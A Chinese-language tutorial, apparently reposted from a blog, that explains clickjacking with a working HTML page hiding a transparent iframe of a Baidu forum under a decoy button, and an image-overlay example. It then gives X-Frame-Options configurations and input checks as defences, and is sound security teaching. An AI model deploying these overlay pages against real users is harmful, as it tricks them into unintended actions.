点击劫持(ClickJacking)是一种视觉上的欺骗手段。大概有两种方式,html
1. 假如咱们在百度有个贴吧,想偷偷让别人关注它。因而咱们准备一个页面:nginx
<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<head>
<title>点击劫持</title>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:0;
filter:alpha(opacity=0);
position:absolute;
z-index:2;
}
button{
position:absolute;
top: 315px;
left: 462px;
z-index: 1;
width: 72px;
height: 26px;
}
</style>
</head>
<body>
那些不能说的秘密
<button>查看详情</button>
<iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
</body>
</html>
PS:页面看起来就这样,固然真正攻击的页面会精致些,不像这么简陋。web
2. 网址传播出去后,用户手贱点击了查看详情后,其实就会点到关注按钮。浏览器
PS:能够把iframe透明设为0.3看下实际点到的东西。app
3. 这样贴吧就多了一个粉丝了。网站
解决办法ui
使用一个HTTP头——X-Frame-Options。X-Frame-Options能够说是为了解决ClickJacking而生的,它有三个可选的值:spa
DENY:浏览器会拒绝当前页面加载任何frame页面;code
SAMEORIGIN:frame页面的地址只能为同源域名下的页面;htm
ALLOW-FROM origin:容许frame加载的页面地址;
PS:浏览器支持状况:IE8+、Opera10+、Safari4+、Chrome4.1.249.1042+、Firefox3.6.9。
具体的设置方法:
Apache配置:
Header always append X-Frame-Options SAMEORIGIN
nginx配置:
add_header X-Frame-Options SAMEORIGIN;
IIS配置:
<system.webServer> ... <httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> </customHeaders> </httpProtocol> ... </system.webServer>
图片覆盖攻击(Cross Site Image Overlaying),攻击者使用一张或多张图片,利用图片的style或者可以控制的CSS,将图片覆盖在网页上,造成点击劫持。固然图片自己所带的信息可能就带有欺骗的含义,这样不须要用户点击,也能达到欺骗的目的。
PS:这种攻击很容易出如今网站自己的页面。
示例
在能够输入HTML内容的地方加上一张图片,只不过将图片覆盖在指定的位置。
<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"> <img src="XXXXXX" style="position:absolute;top:90px;left:320px;" /> </a>
解决办法
在防护图片覆盖攻击时,须要检查用户提交的HTML代码中,img标签的style属性是否可能致使浮出。
总结
点击劫持算是一种不少人不大关注的攻击,他须要诱使用户与页面进行交互,实施的攻击成本更高。另外开发者可能会以为是用户犯蠢,不重视这种攻击方式。
出处:https://www.cnblogs.com/lovesong/p/5248483.html